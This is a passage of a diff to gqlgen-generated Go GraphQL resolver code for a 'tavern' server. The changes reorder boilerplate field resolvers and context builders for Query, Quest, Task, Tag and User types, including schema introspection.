+	res := resTmp.([]*ent.User)
+	fc.Result = res
+	return ec.marshalNUser2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserᚄ(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_Query_users(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tag",
+		Object:     "Query",
 		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
+		IsMethod:   true,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type ID does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_User_id(ctx, field)
+			case "name":
+				return ec.fieldContext_User_name(ctx, field)
+			case "photoURL":
+				return ec.fieldContext_User_photoURL(ctx, field)
+			case "isActivated":
+				return ec.fieldContext_User_isActivated(ctx, field)
+			case "isAdmin":
+				return ec.fieldContext_User_isAdmin(ctx, field)
+			case "tomes":
+				return ec.fieldContext_User_tomes(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type User", field.Name)
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_users_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tag_name(ctx context.Context, field graphql.CollectedField, obj *ent.Tag) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tag_name(ctx, field)
+func (ec *executionContext) _Query_me(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_me(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4659,7 +4397,7 @@ func (ec *executionContext) _Tag_name(ctx context.Context, field graphql.Collect
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Name, nil
+		return ec.resolvers.Query().Me(rctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -4671,26 +4409,40 @@ func (ec *executionContext) _Tag_name(ctx context.Context, field graphql.Collect
 		}
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.(*ent.User)
 	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
+	return ec.marshalNUser2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUser(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tag_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_me(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tag",
+		Object:     "Query",
 		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
+		IsMethod:   true,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_User_id(ctx, field)
+			case "name":
+				return ec.fieldContext_User_name(ctx, field)
+			case "photoURL":
+				return ec.fieldContext_User_photoURL(ctx, field)
+			case "isActivated":
+				return ec.fieldContext_User_isActivated(ctx, field)
+			case "isAdmin":
+				return ec.fieldContext_User_isAdmin(ctx, field)
+			case "tomes":
+				return ec.fieldContext_User_tomes(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type User", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tag_kind(ctx context.Context, field graphql.CollectedField, obj *ent.Tag) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tag_kind(ctx, field)
+func (ec *executionContext) _Query___type(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query___type(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4703,38 +4455,68 @@ func (ec *executionContext) _Tag_kind(ctx context.Context, field graphql.Collect
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Kind, nil
+		return ec.introspectType(fc.Args["name"].(string))
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(tag.Kind)
+	res := resTmp.(*introspection.Type)
 	fc.Result = res
-	return ec.marshalNTagKind2realmᚗpubᚋtavernᚋinternalᚋentᚋtagᚐKind(ctx, field.Selections, res)
+	return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tag_kind(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query___type(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tag",
+		Object:     "Query",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type TagKind does not have child fields")
+			switch field.Name {
+			case "kind":
+				return ec.fieldContext___Type_kind(ctx, field)
+			case "name":
+				return ec.fieldContext___Type_name(ctx, field)
+			case "description":
+				return ec.fieldContext___Type_description(ctx, field)
+			case "fields":
+				return ec.fieldContext___Type_fields(ctx, field)
+			case "interfaces":
+				return ec.fieldContext___Type_interfaces(ctx, field)
+			case "possibleTypes":
+				return ec.fieldContext___Type_possibleTypes(ctx, field)
+			case "enumValues":
+				return ec.fieldContext___Type_enumValues(ctx, field)
+			case "inputFields":
+				return ec.fieldContext___Type_inputFields(ctx, field)
+			case "ofType":
+				return ec.fieldContext___Type_ofType(ctx, field)
+			case "specifiedByURL":
+				return ec.fieldContext___Type_specifiedByURL(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type __Type", field.Name)
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query___type_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tag_hosts(ctx context.Context, field graphql.CollectedField, obj *ent.Tag) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tag_hosts(ctx, field)
+func (ec *executionContext) _Query___schema(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query___schema(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4747,7 +4529,7 @@ func (ec *executionContext) _Tag_hosts(ctx context.Context, field graphql.Collec
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Hosts(ctx)
+		return ec.introspectSchema()
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -4756,52 +4538,40 @@ func (ec *executionContext) _Tag_hosts(ctx context.Context, field graphql.Collec
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.Host)
+	res := resTmp.(*introspection.Schema)
 	fc.Result = res
-	return ec.marshalOHost2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostᚄ(ctx, field.Selections, res)
+	return ec.marshalO__Schema2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐSchema(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tag_hosts(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query___schema(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tag",
+		Object:     "Query",
 		Field:      field,
 		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
-			case "id":
-				return ec.fieldContext_Host_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_Host_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_Host_lastModifiedAt(ctx, field)
-			case "identifier":
-				return ec.fieldContext_Host_identifier(ctx, field)
-			case "name":
-				return ec.fieldContext_Host_name(ctx, field)
-			case "primaryIP":
-				return ec.fieldContext_Host_primaryIP(ctx, field)
-			case "platform":
-				return ec.fieldContext_Host_platform(ctx, field)
-			case "lastSeenAt":
-				return ec.fieldContext_Host_lastSeenAt(ctx, field)
-			case "tags":
-				return ec.fieldContext_Host_tags(ctx, field)
-			case "beacons":
-				return ec.fieldContext_Host_beacons(ctx, field)
-			case "files":
-				return ec.fieldContext_Host_files(ctx, field)
-			case "processes":
-				return ec.fieldContext_Host_processes(ctx, field)
+			case "description":
+				return ec.fieldContext___Schema_description(ctx, field)
+			case "types":
+				return ec.fieldContext___Schema_types(ctx, field)
+			case "queryType":
+				return ec.fieldContext___Schema_queryType(ctx, field)
+			case "mutationType":
+				return ec.fieldContext___Schema_mutationType(ctx, field)
+			case "subscriptionType":
+				return ec.fieldContext___Schema_subscriptionType(ctx, field)
+			case "directives":
+				return ec.fieldContext___Schema_directives(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type Host", field.Name)
+			return nil, fmt.Errorf("no field named %q was found under type __Schema", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_id(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_id(ctx, field)
+func (ec *executionContext) _Quest_id(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Quest_id(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4831,9 +4601,9 @@ func (ec *executionContext) _Task_id(ctx context.Context, field graphql.Collecte
 	return ec.marshalNID2int(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Quest_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Quest",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -4844,8 +4614,8 @@ func (ec *executionContext) fieldContext_Task_id(ctx context.Context, field grap
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_createdAt(ctx, field)
+func (ec *executionContext) _Quest_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Quest_createdAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4875,9 +4645,9 @@ func (ec *executionContext) _Task_createdAt(ctx context.Context, field graphql.C
 	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Quest_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Quest",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -4888,8 +4658,8 @@ func (ec *executionContext) fieldContext_Task_createdAt(ctx context.Context, fie
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_lastModifiedAt(ctx, field)
+func (ec *executionContext) _Quest_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Quest_lastModifiedAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4919,9 +4689,9 @@ func (ec *executionContext) _Task_lastModifiedAt(ctx context.Context, field grap
 	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Quest_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Quest",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -4932,8 +4702,8 @@ func (ec *executionContext) fieldContext_Task_lastModifiedAt(ctx context.Context
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_claimedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_claimedAt(ctx, field)
+func (ec *executionContext) _Quest_name(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Quest_name(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4946,35 +4716,38 @@ func (ec *executionContext) _Task_claimedAt(ctx context.Context, field graphql.C
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ClaimedAt, nil
+		return obj.Name, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.(time.Time)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalOTime2timeᚐTime(ctx, field.Selections, res)
+	return ec.marshalNString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_claimedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Quest_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Quest",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Time does not have child fields")
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_execStartedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_execStartedAt(ctx, field)
+func (ec *executionContext) _Quest_parameters(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Quest_parameters(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4987,7 +4760,7 @@ func (ec *executionContext) _Task_execStartedAt(ctx context.Context, field graph
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ExecStartedAt, nil
+		return obj.Parameters, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -4996,26 +4769,26 @@ func (ec *executionContext) _Task_execStartedAt(ctx context.Context, field graph
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.(time.Time)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalOTime2timeᚐTime(ctx, field.Selections, res)
+	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_execStartedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Quest_parameters(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Quest",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Time does not have child fields")
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_execFinishedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_execFinishedAt(ctx, field)
+func (ec *executionContext) _Quest_tome(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Quest_tome(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5028,35 +4801,64 @@ func (ec *executionContext) _Task_execFinishedAt(ctx context.Context, field grap
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ExecFinishedAt, nil
+		return obj.Tome(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.(time.Time)
+	res := resTmp.(*ent.Tome)
 	fc.Result = res
-	return ec.marshalOTime2timeᚐTime(ctx, field.Selections, res)
+	return ec.marshalNTome2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTome(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_execFinishedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Quest_tome(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Quest",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Time does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_Tome_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_Tome_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_Tome_lastModifiedAt(ctx, field)
+			case "name":
+				return ec.fieldContext_Tome_name(ctx, field)
+			case "description":
+				return ec.fieldContext_Tome_description(ctx, field)
+			case "author":
+				return ec.fieldContext_Tome_author(ctx, field)
+			case "supportModel":
+				return ec.fieldContext_Tome_supportModel(ctx, field)
+			case "tactic":
+				return ec.fieldContext_Tome_tactic(ctx, field)
+			case "paramDefs":
+				return ec.fieldContext_Tome_paramDefs(ctx, field)
+			case "eldritch":
+				return ec.fieldContext_Tome_eldritch(ctx, field)
+			case "files":
+				return ec.fieldContext_Tome_files(ctx, field)
+			case "uploader":
+				return ec.fieldContext_Tome_uploader(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type Tome", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_output(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_output(ctx, field)
+func (ec *executionContext) _Quest_bundle(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Quest_bundle(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5069,7 +4871,7 @@ func (ec *executionContext) _Task_output(ctx context.Context, field graphql.Coll
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Output, nil
+		return obj.Bundle(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5078,26 +4880,42 @@ func (ec *executionContext) _Task_output(ctx context.Context, field graphql.Coll
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.(*ent.File)
 	fc.Result = res
-	return ec.marshalOString2string(ctx, field.Selections, res)
+	return ec.marshalOFile2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFile(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_output(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Quest_bundle(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Quest",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_File_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_File_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_File_lastModifiedAt(ctx, field)
+			case "name":
+				return ec.fieldContext_File_name(ctx, field)
+			case "size":
+				return ec.fieldContext_File_size(ctx, field)
+			case "hash":
+				return ec.fieldContext_File_hash(ctx, field)
+			case "tomes":
+				return ec.fieldContext_File_tomes(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type File", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_outputSize(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_outputSize(ctx, field)
+func (ec *executionContext) _Quest_tasks(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Quest_tasks(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5110,38 +4928,65 @@ func (ec *executionContext) _Task_outputSize(ctx context.Context, field graphql.
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.OutputSize, nil
+		return obj.Tasks(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(int)
+	res := resTmp.([]*ent.Task)
 	fc.Result = res
-	return ec.marshalNInt2int(ctx, field.Selections, res)
+	return ec.marshalOTask2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_outputSize(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Quest_tasks(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Quest",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Int does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_Task_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_Task_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_Task_lastModifiedAt(ctx, field)
+			case "claimedAt":
+				return ec.fieldContext_Task_claimedAt(ctx, field)
+			case "execStartedAt":
+				return ec.fieldContext_Task_execStartedAt(ctx, field)
+			case "execFinishedAt":
+				return ec.fieldContext_Task_execFinishedAt(ctx, field)
+			case "output":
+				return ec.fieldContext_Task_output(ctx, field)
+			case "outputSize":
+				return ec.fieldContext_Task_outputSize(ctx, field)
+			case "error":
+				return ec.fieldContext_Task_error(ctx, field)
+			case "quest":
+				return ec.fieldContext_Task_quest(ctx, field)
+			case "beacon":
+				return ec.fieldContext_Task_beacon(ctx, field)
+			case "reportedFiles":
+				return ec.fieldContext_Task_reportedFiles(ctx, field)
+			case "reportedProcesses":
+				return ec.fieldContext_Task_reportedProcesses(ctx, field)
+			case "reportedCredentials":
+				return ec.fieldContext_Task_reportedCredentials(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type Task", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_error(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_error(ctx, field)
+func (ec *executionContext) _Quest_creator(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Quest_creator(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5154,7 +4999,7 @@ func (ec *executionContext) _Task_error(ctx context.Context, field graphql.Colle
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Error, nil
+		return obj.Creator(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5163,26 +5008,40 @@ func (ec *executionContext) _Task_error(ctx context.Context, field graphql.Colle
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.(*ent.User)
 	fc.Result = res
-	return ec.marshalOString2string(ctx, field.Selections, res)
+	return ec.marshalOUser2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUser(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_error(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Quest_creator(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Quest",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_User_id(ctx, field)
+			case "name":
+				return ec.fieldContext_User_name(ctx, field)
+			case "photoURL":
+				return ec.fieldContext_User_photoURL(ctx, field)
+			case "isActivated":
+				return ec.fieldContext_User_isActivated(ctx, field)
+			case "isAdmin":
+				return ec.fieldContext_User_isAdmin(ctx, field)
+			case "tomes":
+				return ec.fieldContext_User_tomes(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type User", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_quest(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_quest(ctx, field)
+func (ec *executionContext) _Tag_id(ctx context.Context, field graphql.CollectedField, obj *ent.Tag) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tag_id(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5195,7 +5054,7 @@ func (ec *executionContext) _Task_quest(ctx context.Context, field graphql.Colle
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Quest(ctx)
+		return obj.ID, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5207,46 +5066,26 @@ func (ec *executionContext) _Task_quest(ctx context.Context, field graphql.Colle
 		}
 		return graphql.Null
 	}
-	res := resTmp.(*ent.Quest)
+	res := resTmp.(int)
 	fc.Result = res
-	return ec.marshalNQuest2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuest(ctx, field.Selections, res)
+	return ec.marshalNID2int(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_quest(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Tag_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Tag",
 		Field:      field,
-		IsMethod:   true,
+		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_Quest_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_Quest_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_Quest_lastModifiedAt(ctx, field)
-			case "name":
-				return ec.fieldContext_Quest_name(ctx, field)
-			case "parameters":
-				return ec.fieldContext_Quest_parameters(ctx, field)
-			case "tome":
-				return ec.fieldContext_Quest_tome(ctx, field)
-			case "bundle":
-				return ec.fieldContext_Quest_bundle(ctx, field)
-			case "tasks":
-				return ec.fieldContext_Quest_tasks(ctx, field)
-			case "creator":
-				return ec.fieldContext_Quest_creator(ctx, field)
-			}
